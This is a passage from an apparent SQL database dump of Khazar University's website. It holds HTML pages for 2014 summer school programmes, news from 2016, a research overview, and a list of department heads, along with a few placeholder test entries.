5.4pt;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"390\" style=\"\" width:292.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">General psychology</p>\r\n  </td>\r\n </tr>\r\n</tbody></table> <p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><a href=\"https://www.facebook.com/SchoolHumanitiesSocialSciences/\"><strong style=\"font-size:large\">Follow us on Facebook</strong></a></p>'),(61,67,'en','Summer School','Summer School','<div><br></div><div><div><strong>STUDY IN RUSSIAN Summer School</strong></div><div><strong>01-08 July 2014</strong></div><div><strong><br></strong></div><p>This Summer School invites all qualified applicants to submit a summer school application for Study in Russian. The main objective of this international program is to assist in professional development of young students’ or graduates\' language skills. Presentations, interactive discussions and courses are led by outstanding instructors and lecturers from Azerbaijan. The Summer School focuses on young students and alumni from Turkey, Eastern Europe and the Balkan Countries. The number of participants is limited to about 20. Over&nbsp;the course of&nbsp;two weeks&nbsp;the participants will&nbsp;improve their Russian&nbsp;language skills. Successful participants will receive a certificate and they will become a part of Khazar Young Professionals.&nbsp;In 2014, KHAZAR UNIVERSITY is organizing the 1st Study in Russian Summer School for Young Students and Alumni.</p><p>&nbsp;</p><p>The Summer School will enable you:</p><p>-&nbsp;to&nbsp;learn the Russian language quickly and effectively, including practical aspects and a range of vocabulary&nbsp;&nbsp;</p><p>- to enjoy lessons as well as extra-curricular activities such as cultural visits, films, lectures, excursions, and parties</p><p>- to enlarge your personal and professional network with people who share the same interests</p><p>- to enjoy the environment of Khazar University in Baku, located in a part of Europe known as the Land of Fire</p><p>&nbsp;</p><p>If you are interested in more detailed information please contact us via email:&nbsp;<a href=\"mailto:amukhtarova@khazar.org\">amukhtarova@khazar.org</a>.</p><p>&nbsp;</p><p>Call for applications</p><p>&nbsp;</p><p>Summer School for Young Students and Alumni 2014:&nbsp;Study in Russian!</p><p>&nbsp;</p><p>To apply, please send your CV to the following email address:&nbsp;<a href=\"mailto:amukhtarova@khazar.org\">amukhtarova@khazar.org</a>&nbsp;indicating ‘Study in Russian’ in the subject line. The deadline for receiving your application is Apri15, 2014. If accepted you will be informed with further detailed information regarding the summer school.</p><p>&nbsp;</p><p>Financial costs:</p><p>&nbsp;</p><p>The course fee is 450 Euro for International participants and 150 AZN for nationals. The fee includes pick from the Airport to the destination, reading materials, 3 meals per day, accommodation, fieldtrips, cultural and special events. You will be responsible to pay your own visa fee if required. Invitation letter or other required document will be provided by the Institution.</p><p>&nbsp;</p><p><em>For further information or inquiries, contact Arzu Mukhtarova, the coordinator for Summer School at Khazar University, via e-mail:&nbsp;</em><a href=\"mailto:amukhtarova@khazar.org\"><em>amukhtarova@khazar.org</em></a><em>&nbsp;or call: 0099412 4211093(288)</em></p><p>&nbsp;</p><hr><div><strong><br>Cognitive Behavioral Therapy</strong></div><div><strong>5-12 August 2014</strong></div><p>Khazar University’s Department of Psychology welcomes young or future psychologists to the Cognitive Behavioral Therapy (CBT) Summer Course Certificate Program in Baku, Azerbaijan. CBT is one of the most demanded models of treatment in clinics. This summer school will increase your skills and practice as a therapist. The program begins with an introduction to CBT Theory and the behavioral therapy model. Participants will have the opportunity to learn how to apply the CBT model with individuals, families and couples. The course will also explain the types of clients of the therapy. The participants will gain a deep understanding of the techniques of Cognitive Therapy in different cases.</p><p>&nbsp;</p><p>CERTIFICATE ELIGIBILITY AND APPLICATION</p><p>Professional Young Psychologists who complete the summer school will receive a certificate in the final session. This Summer School is open for enrollment now. To apply, please send your CV to the following e-mail address:&nbsp;<a href=\"mailto:amukhtarova@khazar.org\">amukhtarova@khazar.org</a>, indicating&nbsp;‘Cognitive Behavioral Therapy’&nbsp;in the subject line. The deadline is 15 April 2014.</p><p>&nbsp;</p><p>COST OF THE PROGRAM</p><p>The course fee is 450 Euro for International Participants and 150 AZN for Nationals. This includes pick from the Airport to the destination, reading materials, 3 meals per day, accommodation, fieldtrips, cultural and special events. You are responsible for your own visa fee if required. Invitation letter or other required document will be provided by the institution.</p><p>&nbsp;</p><p><em>For further information or inquiries, contact Arzu Mukhtarova, the coordinator for Summer School at Khazar University, via e-mail:&nbsp;</em><a href=\"mailto:amukhtarova@khazar.org\"><em>amukhtarova@khazar.org</em></a><em>&nbsp;or call: 0099412 4211093 (288)</em></p><p>&nbsp;</p><hr><p><strong>&nbsp;GLOBAL LEADERSHIP SUMMER PROGRAM</strong></p><p>Join students from around the world in this outstanding program at Khazar University, Baku, Azerbaijan. The program covers International Relations, Leadership Skills and Politics.</p><p>10-17 July 2014</p><p>&nbsp;</p><p>OVERVIEW</p><p>We are pleased to announce that the GLOBAL LEADERSHIP SUMMER PROGRAM will be held at Khazar University</p><p>The Summer School is a one-week high quality training program, organized for national and international students or young professionals.&nbsp; Khazar University aims to gather 30 participants from around the world. Participants will have the chance to learn practice and theory of global leadership and the charisma of leadership. The program is designed to provide young prospective leaders of tomorrow with lectures, discussions and workshops that will enhance their leadership skills.</p><p>After completing the Leadership Summer School, participants will have gained practice in leadership skills and will be given a certificate for attendance. We expect participants to include graduate students and young professionals who are eager to learn effective leadership from an academic point of view and contribute to the enhancement of their future leadership skills. Participants will also have a chance to discover Baku, the capital city of Azerbaijan. They will visit several museums and historical places as well as attending social events.</p><p>&nbsp;</p><p>COST OF THE PROGRAM</p><p>The total cost of the summer school is 450Euro for International participants and 150AZN for Nationals. The cost included pick from the Airport to the destination, reading materials, 3 meals per day, accommodation, fieldtrips, cultural and special events. The participants, who need a visa to travel to Azerbaijan, will pay the Visa fee themselves. Invitation letter or other required document will be provided by the Institution.</p><p>&nbsp;</p><p>APPLY TO PARTICIPATE</p><p>Please send your CV/Resume to the following e-mail address:&nbsp;<a href=\"mailto:amukhtarova@khazar.org\">amukhtarova@khazar.org</a>, indicating&nbsp;<em>‘Global Leadership Summer School’</em>&nbsp;in the subject line. The deadline is April 15, 2014.</p><p>&nbsp;</p><p><em>For further information or inquiries, contact Arzu Mukhatorva, the coordinator for Summer Schools at Khazar University, via e-mail:&nbsp;</em><a href=\"mailto:amukhtarova@khazar.org\"><em>amukhtarova@khazar.org</em></a><em>&nbsp;or call: 0099412 4211093(288)</em></p><p>&nbsp;</p><hr><div><strong>Teaching Tips: Summer School for English Language Learners</strong></div><p><strong>Khazar University 2014, Baku, Azerbaijan&nbsp;</strong></p><p><strong>01-07 July 2014</strong></p><p>The summer is a great time to study with English Language Professionals. During Summer School you can focus on students’ needs, speaking, enhancing writing, listening, reading skills, how to spend leisure time with the students, psychological methods and prepare them for the following school year. Here are some ideas to get tips and strategies for differentiating on working with students. Participants will have chance to discover Baku, the capital city of Azerbaijan, to visit museums, historical sights and attend social events. After completing the courses, participants will receive Certificates.</p><p>&nbsp;</p><p>Eligibility</p><p>This Summer School is designed for Young English Language Learners. No age limits!</p><p>&nbsp;</p><p>Cost</p><p>The cost of the Summer School is 450Euro for International Participants and 150AZN for Nationals. The cost included pick from the Airport to the destination, reading materials, 3 meals per day, accommodation, fieldtrips, cultural and special events. The participants, who need a visa to travel to Azerbaijan, will pay the Visa fee themselves. Invitation letter or other required document will be provided by the Institution.</p><p>&nbsp;</p><p>How to Apply</p><p>Interested Applicants are encouraged to send their CV to the following e-mail address:&nbsp;<a href=\"mailto:amukhtarova@khazar.org\">amukhtarova@khazar.org</a>&nbsp;indicating&nbsp;<em>‘Summer School for English Language Learners’</em>&nbsp;in the subject line, Arzu Mukhtarova, coordinator for Khazar University Summer School, by April 15, 2014</p><p><em>&nbsp;</em></p><p><em>For further information and inquiry, please send an e-mail to the following address: amukhtarova@khazar.org, or call: 0099412 4211093(288)</em></p><p><em><br></em></p><hr><p><strong>General Psychology Summer School 2014</strong></p><div><strong>5 – 12 August 2014</strong></div><p>General Psychology course will cover the basic concepts of psychology as a scientific study of behavior and mental processes. The program will cover main psychological approaches and theories which are needed for the study of behavior of organisms and at the same time the roots and origins of psychology will be considered. Basic terminology will be important to know in order to be familiar with psychology beyond the level you were when you entered the course.&nbsp;&nbsp;</p><p>&nbsp;</p><p>HOW TO APPLY</p><p>Students, Alumni and Young Professionals from different majors are encouraged to apply for the Summer School. Interested candidates are asked to send their CV and Motivation Letter to Arzu Mukhtarova, the coordinator of the program, at the following e-mail address:&nbsp;<a href=\"mailto:amukhtarova@khazar.org\">amukhtarova@khazar.org</a>, indicating&nbsp;‘General Psychology Summer School 2014’&nbsp;in the subject line. Deadline is April 15, 2014.</p><p>&nbsp;</p><p>COST</p><p>The cost of the Summer School is 450 Euro for international students and 150 AZN for national students. (The cost covers a round trip ticket, meals and accommodation, the course fee and pickup from the airport). Participants who need a visa to travel to Azerbaijan will be responsible for their own visa fee.</p><p>&nbsp;</p><p><em>For further information or inquiries, please send an e-mail to the following address: Arzu Mukhtarova, amukhtarova@khazar.org, or call: 0099412 4211093(288)</em></p><p>&nbsp;</p><hr><div><strong>Summer School to Discover Azerbaijan:&nbsp;The Land of Fire</strong></div><p><em><strong>Feel the Eastern Western values and unity!</strong></em></p><p><strong>&nbsp;5 - 12 July 2014</strong></p><p>Summer is the best time for exploring new opportunities, making new friends, enhancing networks and discovering new places! This summer school will introduce you to the culture, traditions, arts and people of Azerbaijan. Our one-week summer program combines new skills and new faces to create a rich intercultural experience.</p><p>We want you to enjoy getting to know our country, making Azerbaijani friends, and discovering the capital city of Baku with participants from diverse cultures around the world. Participants will have the opportunity to go sightseeing, visit interesting places, participate in different exciting activities or events, and travel within Azerbaijan.</p><p>&nbsp;</p><p>&nbsp;</p><p>Eligibility and Application</p><p>&nbsp;</p><p>If you want to contribute to discussions on intercultural communication, experience rewarding challenges and become a part of a diverse including multicultural students from different countries, please send your CV via email to&nbsp;<a href=\"mailto:amukhtarova@khazar.org\">amukhtarova@khazar.org</a>, indicating ‘Discover Azerbaijan Summer School’ in the subject line. The deadline of the application is April 15, 2014. Participants will receive certificates at the end of the course.</p><p>&nbsp;</p><p>FEE</p><p>The cost of the Summer School is 450Euro for International participants and 150 AZN for Nationals. The cost includes pick from the Airport to the destination, reading materials, 3 meals per day, accommodation, fieldtrips, cultural and special events. You will be responsible to pay your own visa fee if required. Invitation letter or other required document will be provided by the Institution.</p><p>&nbsp;</p><p><em>For further information or inquiries, contact Arzu Mukhatorva, the coordinator for Summer Schools at Khazar University, via e-mail:&nbsp;</em><a href=\"mailto:amukhtarova@khazar.org\"><em>amukhtarova@khazar.org</em></a><em>&nbsp;or call: 0099412 4211093(288)</em></p><p>&nbsp;</p><p><em>&nbsp;</em></p><hr><p>&nbsp;<strong>INTERNATIONAL OIL &amp; GAS SUMMER SCHOOL</strong></p><p><strong>26 July- 3 August 2014</strong></p><p>&nbsp;The International Oil &amp; Gas Summer School provides a comprehensive overview of oil &amp; gas and the energy industry, from exploration and production to sales and marketing. This Summer Course will help participants to learn about crude oil &amp; gas production and to discover the dynamics of the natural gas sector, including refining, pricing and marketing of the sector. Participants will also have the chance to develop an awareness of oil &amp; gas trading. Participants will enjoy professional experience through team exercises and practical tasks with the opportunity to exchange their views on energy industry production. In addition, the participants will discover Baku, visit museums and tourist attractions, and attend social events with national students of Khazar University.</p><p>&nbsp;</p><p>ELIGIBILITY</p><p>Graduates and young professionals with a background in oil &amp; gas or energy studies can apply for this Summer School.&nbsp; Interested candidates should send completed CV via e-mail:<a href=\"mailto:amukhtarova@khazar.org\">amukhtarova@khazar.org</a>, indicating ‘INTERNATIONAL OIL &amp; GAS SUMMER SCHOOL’ in the subject line, by April15, 2014.</p><p>&nbsp;</p><p>COST OF THE PROGRAMME</p><p>The cost of the Summer School is 450Euro for International participants and 150AZN for Nationals. The cost includes pick from the Airport to the destination, reading materials, 3 meals per day, accommodation, fieldtrips, cultural and special events. Participants who need a visa to travel to Azerbaijan will be responsible for their own visa fee. Invitation letter or other required document will be provided by the Institution.</p><p>&nbsp;</p><p><em>For further information or inquiries, contact Arzu Mukhtarova, the coordinator for Summer School at Khazar University, via e-mail:&nbsp;</em><a href=\"mailto:amukhtarova@khazar.org\"><em>amukhtarova@khazar.org</em></a><em>&nbsp;or call: 0099412 4211093(288)</em></p><p>&nbsp;</p><hr><p>&nbsp;<strong>New Technology Learning Summer School 2014</strong></p><p><strong>Khazar University, Baku, Azerbaijan&nbsp;</strong></p><p><strong>21-28 July 2014</strong></p><p>&nbsp;</p><p>CALL FOR PARTICIPANTS</p><p>We are pleased to announce a National and International Summer School on New Technology Learning, to take place from July 21st&nbsp;to 28th, 2014 in Baku, Azerbaijan. This Summer School aims to encourage participants to adopt new ways of thinking about the role of technology in providing opportunities and challenges for learners.</p><p>In this Summer School the participants will have the chance to increase their knowledge base, develop their research skills, discuss the role of technology and today’s needs, collaborate with others on their own work, and enhance their networking abilities.</p><p>The program will cover topics by professionals in their fields, and will also include practical and methodological workshops. In addition, the Summer School includes a variety of visits to interesting sights of Baku, cultural excursions and various social events to increase social contacts among the summer school participants.</p><p>&nbsp;</p><p>APPLICATIONS</p><p>Students and doctoral candidates should submit CV to&nbsp;<a href=\"mailto:amukhtarova@khazar.org\">amukhtarova@khazar.org</a>&nbsp; indicating&nbsp;<em>’New Technology Learning Summer School 2014’&nbsp;</em>in the subject line before April 15, 2014.</p><p>&nbsp;</p><p>COST OF SUMMER SCHOOL</p><p>The cost of the Summer School is 450 Euro. The cost includes pick from the Airport to the destination, reading materials, 3 meals per day, accommodation, fieldtrips, cultural and special events. Participants who need a visa to travel to Azerbaijan will be responsible for their own visa fee. Invitation letter or other required document will be provided by the Institution.</p><p>&nbsp;</p><p><em>For further information or inquiries, contact Arzu Mukhtarova, the coordinator for Summer School at Khazar University, via e-mail:&nbsp;</em><a href=\"mailto:amukhtarova@khazar.org\"><em>amukhtarova@khazar.org</em></a><em>&nbsp;or call: 0099412 4211093(288)</em></p>  <br></div>'),(2156,1323,'en','New Academic Year Begins','On September 15, 2016, an opening ceremony was held to celebrate the beginning of the new academic year at Khazar University...','<p>On\r\nSeptember 15, 2016, an opening ceremony was held to celebrate the beginning of\r\nthe new academic year at Khazar University. Participants in the ceremony\r\nincluded incoming freshmen and their parents, the university administration,\r\nand faculty members. </p>\r\n<p>The\r\nceremony began with the National Anthem of the Azerbaijan Republic. Then\r\nspeeches were made by Dr. Hasan Niknafs, President of the University, and\r\nProfessor Hamlet Isaxanli, the founder of Khazar University and Chairman of its\r\nBoard of Directors and Trustees. They congratulated students on their admission\r\nto the university and gave them information about Khazar. They also noted that\r\nthe university will provide them every opportunity to study on a high level and\r\nto study abroad in Europe, the USA or Asia via the university’s international\r\npartnerships and programs. The university aims not only to train\r\nhighly-qualified specialists, but also to raise up cultured graduates with\r\nbroad worldviews by exposing them to various arts including music, design,\r\ncarpet making and jewelry. They encouraged the new students to work hard and\r\nwished them success.</p>\r\n<p>Then\r\nthe 15 freshmen with the top admission examination scores were given their\r\nstudent ID cards and university gifts by H.Isaxanli; H.Niknafs; Vice Presidents\r\nMahammad Nuriyev and Isakhan Isakhanli; Dr. Ingilab Ahmadov, Dean of the School\r\nof Economics and Management; Associate Professor Jabir Khalilov, Dean of the\r\nSchool of Humanities and Social Sciences; and Dr. Elza Semedli, Dean of the\r\nSchool of Education.</p>\r\n<p>Freshman\r\nMurad Nuriyev (majoring in Finance) made a speech on behalf of the freshman\r\nclass, noting that they would work hard to take advantage of the opportunities\r\nat Khazar.</p>\r\n<p>The\r\nDepartment of Music and Fine Arts gave a concert including performances by the\r\nGirls’ and Boys’ Dance Ensembles and by instructor Mehseti Jabbarli, soloist\r\nfor the Muslum Magomayev Azerbaijan State Philharmonic.</p>\r\n<p>At\r\nthe end of the ceremony, the new students were invited to their classrooms,\r\nwhere they met with their deans and department heads. They were given detailed\r\ninformation about their majors and their questions were answered. The new\r\nacademic year at Khazar University has officially begun</p>'),(2157,1324,'az','“Dünya” məktəbində elmi-metodiki məclis keçirildi','2016-cı il sentyabrın 15-da Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbində yeni dərs ilinin başlanması münasibətilə elmi-metodiki məclis keçirildi...','<p>2016-cı il sentyabrın 15-da Xəzər Universitetinin nəzdində\r\nfəaliyyət göstərən “Dünya” məktəbində yeni dərs ilinin başlanması münasibətilə\r\nelmi-metodiki məclis keçirildi. Məktəb rəhbərliyinin və müəllim kollektivinin\r\niştirak etdiyi iclasda yeni dərs ilində ilboyu görüləcək işlər, layihələr, həyata\r\nkeçirilməsi nəzərdə tutulan planlar müzakirə olundu.</p>'),(2158,1324,'en','Teachers’ Meeting at Dunya School ','On September 15, 2016, a teachers’ meeting was held in Khazar University’s affiliate Dunya School on the occasion of the beginning of the new academic year... ','<p>On September 15, 2016, a teachers’\r\nmeeting was held in Khazar University’s affiliate Dunya School on the occasion\r\nof the beginning of the new academic year. The school administration and\r\nteachers discussed the school’s plans, projects and events for the upcoming\r\nyear.&nbsp;</p>'),(2159,1325,'az','Xəzər Universitetinin tələbələrinin nəzərinə !!!','Əlilliyi olan tələbələrdən xahiş olunur ki, “Əlilliyi olan Tələbələr üçün Mərkəz”ə müraciət etsinlər...','<p>Əlilliyi olan tələbələrdən xahiş olunur ki, “Əlilliyi olan Tələbələr\r\nüçün Mərkəz”ə müraciət etsinlər.</p>\r\n<p>Otaq: 418 (köhnə bina)</p>\r\n<p><a href=\"http://www.esfidip.khazar.org\">www.esfidip.khazar.org</a></p>'),(2160,1325,'en','Attention students: Center for Students with Disabilities','Students with disabilities are kindly requested to see the Center for Students with Disabilities in room 418 (old building)...\r\n','<p>Students with disabilities are kindly requested to see the Center for Students with Disabilities in room 418 (old building).</p><p>For more information see:&nbsp;<a href=\"http://www.esfidip.khazar.org\" style=\"font-family:\'Times New Roman\', serif;font-size:medium;text-align:center\">www.esfidip.khazar.org</a></p> <p><br></p>'),(2161,1326,'az','1-ci kurslar kitabxana ilə tanış oldular','2016-cı il sentyabrın 15-də Kitabxana-İnformasiya Mərkəzinin əməkdaşı Səidə Orucova 1-ci kurs tələbələrinə “Kitabxana və kitabxana xidmətləri” mövzusunda təlim keçirdi. ..','<p>2016-cı il sentyabrın\r\n15-də Kitabxana-İnformasiya Mərkəzinin əməkdaşı Səidə Orucova 1-ci kurs tələbələrinə\r\n“Kitabxana və kitabxana xidmətləri” mövzusunda təlim keçirdi. </p>\r\n<p>Daha sonra KİM-nin əməkdaşları 1-ci\r\nkurslara kitabxananı ekskursiya etdirdilər.</p>'),(2162,1326,'en','Library Orientation for Freshmen','On September 15, 2016, Library Information Center employee Saida Orujova conducted an orientation for freshman students entitled “The Library and Library Services” ...','<p><strong>&nbsp;</strong>On\r\nSeptember 15, 2016, Library Information Center employee Saida Orujova conducted\r\nan orientation for freshman students entitled “The Library and Library Services.”\r\nThen library employees gave new students a tour of the library.&nbsp;</p>'),(2163,1327,'en','Founder Appointed as Member of Statistics Committee’s Statistics Board','On September 15, 2016, the Cabinet of Ministers passed an order number 346 entitled “On the Confirmation of the New Composition of the Statistics Board functioning under the State Statistics Committee of the Azerbaijan Republic” in order to announce...','<p>On\r\nSeptember 15, 2016, the Cabinet of Ministers passed an order number 346 entitled\r\n“On the Confirmation of the New Composition of the Statistics Board functioning\r\nunder the State Statistics Committee of the Azerbaijan Republic” in order to\r\nannounce the composition of a new board, as the previous board’s term had\r\nexpired. According to the new order, Professor Hamlet Isaxanli, the founder of\r\nKhazar University and Chairman of its Board of Directors and Trustees, was appointed\r\nas a member of the Board.&nbsp;<o:p></o:p></p> <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"></p>'),(2165,1328,'az','Hamlet İsaxanlı Dövlət Statistika Komitəsi yanında Statistika Şurasının üzvü təyin edilmişdir','Azərbaycan Respublikası Nazirlər Kabinetinin “Azərbaycan Respublikasının Dövlət Statistika Komitəsi yanında Statistika Şurasının yeni tərkibinin təsdiq edilməsi...','<p>Azərbaycan Respublikası Nazirlər Kabinetinin\r\n“Azərbaycan Respublikasının Dövlət Statistika Komitəsi yanında Statistika\r\nŞurasının yeni tərkibinin təsdiq edilməsi haqqında” 15 sentyabr 2016-cı il\r\ntarixli 346 nömrəli qərarı ilə Azərbaycan Respublikasının Dövlət Statistika\r\nKomitəsi yanında Statistika Şurasının səlahiyyət müddəti bitdiyinə görə&nbsp; onun\r\nyeni tərkibi təsdiq edilmişdir. Xəzər Universitetinin təsisçisi, Direktorlar və\r\nQəyyumlar Şurasının sədri professor Hamlet İsaxanlı da Şuranın üzvü təyin\r\nolunmuşdur.</p>'),(2164,1327,'az','Hamlet İsaxanlı Dövlət Statistika Komitəsi yanında Statistika Şurasının üzvü təyin edilmişdir','Azərbaycan Respublikası Nazirlər Kabinetinin “Azərbaycan Respublikasının Dövlət Statistika Komitəsi yanında Statistika Şurasının yeni tərkibinin təsdiq edilməsi haqqında” 15 sentyabr 2016-cı il tarixli 346 nömrəli qərarı ilə Azərbaycan Respublikasının Dövlət Statistika Komitəsi yanında Statistika Şurasının ...','<p style=\"text-indent:.25in\">Azərbaycan Respublikası Nazirlər Kabinetinin\r\n“Azərbaycan Respublikasının Dövlət Statistika Komitəsi yanında Statistika\r\nŞurasının yeni tərkibinin təsdiq edilməsi haqqında” 15 sentyabr 2016-cı il\r\ntarixli 346 nömrəli qərarı ilə Azərbaycan Respublikasının Dövlət Statistika\r\nKomitəsi yanında Statistika Şurasının səlahiyyət müddəti bitdiyinə görə&nbsp;\r\nonun yeni tərkibi təsdiq edilmişdir. Xəzər Universitetinin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı da Şuranın\r\nüzvü təyin olunmuşdur.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"></p>'),(62,68,'en','Research Overview','Research Overview','<p>Khazar University aims to be a world-class higher education\r\ninstitution, recognized for its excellence in education, innovation and\r\nresearch, as well as wide-ranging partnerships with stakeholders on national\r\nand international levels. It has a strong commitment to cutting-edge research\r\nin various subject areas, including the fields of alternative energy resources;\r\neconomics of renewable energy and energy efficiency; environmental protection,\r\nexploration, production and reservoir engineering; biomedical engineering;\r\nmolecular biology; regionalization in the Black Sea region; poetic translation;\r\nand educational administration.</p>\r\n<p>The university also offers well-developed research degree\r\nprograms in more than&nbsp;<strong><a href=\"http://www.khazar.org/en/menus/114/programs_and_admission\">20 majors</a></strong>&nbsp;ranging from Computer Science to\r\nPolitical Science and International Relations.</p>\r\n<p>The university supports its research mission through\r\nadvancement of basic and applied research, nurturing a collaborative research\r\nenvironment, establishing&nbsp;research laboratories, and offering an\r\ninternational&nbsp;</p><address><p><a href=\"http://www.khazar.org/en/menus/497/khazar_university_international_scholarship_program_sup_style_color_red_new_sup_\" style=\"font-style:normal\">PhD scholarship program.</a></p><p><span style=\"font-style:normal\"><a href=\"http://www.khazar.org/en/menus/497/khazar_university_international_scholarship_program_sup_style_color_red_new_sup_\"></a>Khazar University maintains an&nbsp;<a href=\"http://dspace.khazar.org/jspui/\"><strong>institutional repository</strong></a>, an online\r\ndatabase of the research output of our academic staff. It ranked #1 in\r\nAzerbaijan in the 2015&nbsp;</span><strong><span style=\"font-style:normal\"><a href=\"http://repositories.webometrics.info/en/Europe/Azerbaijan\">Ranking Web of\r\nRepositories</a>.</span></strong></p></address>\r\n<p>Research at Khazar University spans the following research\r\nfields:</p><p><br></p>\r\n<p style=\"font-size:medium\"><strong>Biological Sciences</strong></p>\r\n<p>The study of diagnosis and spread of the hereditary diseases\r\nin Azerbaijan</p>\r\n<p>Study of the neutrophil myeloperoxidase during inflammatory\r\nprocesses of the specific and non-specific diseases</p>\r\n<p>Research and development of the oxidative stress biomarkers\r\ndetection methods</p>\r\n<p>A comparative study of the students’ lifestyle and their\r\nmood change</p><p><br></p>\r\n<p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Geography and Environment</strong></p>\r\n<p>Integrated urban water management in Greater Baku, Area</p>\r\n<p>Flooding risk assessment</p>\r\n<p>Climate changes shifts on surface water resources</p>\r\n<p>Environmental effect of soil contamination</p><p><br></p>\r\n<p><strong>Economics and Management</strong></p><p>Dynamic&nbsp;stochastic general equilibrium&nbsp;modeling in\r\nMacroeconomics</p>\r\n<p>Management of oil revenues and impact of oil revenues on\r\neconomy</p>\r\n<p>Fiscal policy and monetary policy in resource rich countries</p>\r\n<p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p>\r\n<p><strong>Electronics and Telecommunications</strong></p><strong>\r\n</strong><p>Equipment and alternative energy sources with conversion of\r\nsolar energy to electrical</p>\r\n<p>Investigation of degradation performance and energy\r\nparameters of photovoltaic cells created from a hybrid polymer – silicon</p>\r\n<p>Research and creation of autonomous systems using solar\r\ncells based on silicon in the&nbsp;LED (Light-emitting diode) lighting</p>\r\n<p>Macroeconomics: monetary and fiscal policy analysis</p>\r\n<p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p>\r\n<p><strong>History and Archaeology</strong></p>\r\n<p>Farming Cultures and Stone Industry in the South Caucasus</p>\r\n<p>The Caucasus in Bronze Age Culture</p>\r\n<p>Azerbaijan Foreign Policy and the History of Karabakh\r\nConflict</p>\r\n<p>Azerbaijan Military Art of War in Bronze Age</p>\r\n<p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">&nbsp;</p>\r\n<p><strong>Petroleum Engineering</strong></p>\r\n<p>Petroleum system of the Mezo-Cenozoic\r\nsedimentary&nbsp;complex in the Kura Basin</p>\r\n<p>Hydrodynamic modelling of the oil and gas-condensate fields</p>\r\n<p>Analysis&nbsp;of effective prognosis modelling\r\nof&nbsp;compression coefficient of natural gases</p>'),(63,69,'en','Conferences, Workshops and Seminars','Conferences, Workshops and Seminars','With the start of the fall semester, a meeting was held on September 19<sup>th</sup>&nbsp;for all the faculty members of the Department of Economics and Management. Head of Department, Dr. Jeyhun <img src=\"/files/Penguins.jpg\" style=\"width:124px;height:93px;margin:5px;float:left\">Mammadov discussed and shared information regarding the success and challenges faced in the previous semesters to apply the best practices in the semester to follow. The content of the meeting was primarily on improvement of the syllabi, sharing innovative learning outcomes and resolving issues faced in the earlier semesters. Dr. Mammadov encouraged faculty members to express their vision and outlook towards making academic programs more robust and competitive. The meeting was also an ideal platform to explore and create better teaching techniques.<strong>&nbsp;</strong>'),(64,70,'en','test1','test1','<h3>efsgrdr&nbsp;</h3><div>s<h4>g hg dfg zdnkh&nbsp;</h4></div>'),(65,71,'en','sub_menu2','sub_menu2','efrrgf dfg dfg<div>ghdfhjgfbh hfgh</div><div><br></div>'),(66,73,'en','Heads of Departments, Institutions, and Centers','Heads of Departments, Institutions, and Centers','<h3>Academic Departments</h3><div><br></div><p><strong><a href=\"http://www.khazar.org/en/menus/128/electronics_and_telecommunications\">Electronics and&nbsp;Telecommunications</a></strong></p><p><em><a href=\"http://www.khazar.org/files/radio_depart/CV_nuru_14_sent2017.PDF\">Nuru Safarov</a></em>, Ph.D., chair,&nbsp;<a href=\"mailto:nsafarov@khazar.org\">nsafarov[at]khazar.org</a></p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/122/chemical_engineering_and_chemistry\">Chemical Engineering and Chemistry</a></strong></p><p><em><a href=\"http://www.khazar.org/files/engineering/CV%20-Rasoul%20Moradi.pdf\">Rasoul Moradi</a></em>,&nbsp;Ph.D.,&nbsp;coordinator,&nbsp;<a href=\"mailto:rmoradi@khazar.org\">rmoradi[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/121/civil_engineering\">Civil Engineering</a></strong></p><p><em><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Rasim_Bayramli.pdf\">Rasim Bayramli</a></em>, Ph.D., Associate professor, chair,&nbsp;<a href=\"mailto:rbayramli@khazar.org\">rbayramli[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/123/computer_sciences_and_computer_engineering\">Computer Sciences&nbsp;and Computer Engineering</a></strong></p><p><strong><a href=\"http://www.khazar.org/en/menus/123/computer_sciences_and_computer_engineering\"></a></strong><em><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Mahammad_Sharifov.pdf\">Mahammad Sharifov</a></em>,&nbsp;Ph.D., chair,&nbsp;<a href=\"mailto:msharifov@khazar.org\">msharifov[at]khazar.org</a></p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/1105/mechanical_engineering\">Mechanical&nbsp;Engineering</a></strong></p><p><em><a href=\"http://www.khazar.org/files/engineering/syllabi/CV_2017_Mirsadegh%20Seyedzavvar.pdf\">Mirsadegh Seyedzavvar</a>,&nbsp;</em>Ph.D., coordinator,&nbsp;<a href=\"mailto:mseyedzavvar@khazar.org\">mseyedzavvar[at]khazar.org</a></p>  <p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/133/mathematics\">Mathematics</a></strong></p><p><em><a href=\"http://www.khazar.org/files/pdf/Ali%20Huseynli%20cv.pdf\">Ali Huseynli</a>,&nbsp;</em>Ph.D., chair, <a href=\"mailto:ahuseynli@khazar.org\">ahuseynli[at]khazar.org</a></p><p><br></p><p><a href=\"mailto:ahuseynli@khazar.org\"></a><strong><a href=\"http://www.khazar.org/en/menus/136/petroleum_engineering\">Petroleum Engineering</a></strong></p><p><em><a href=\"http://www.khazar.org/files/petroleum_depart/CV-Zeynalov.Gasham(November2017).docx\">Gasham 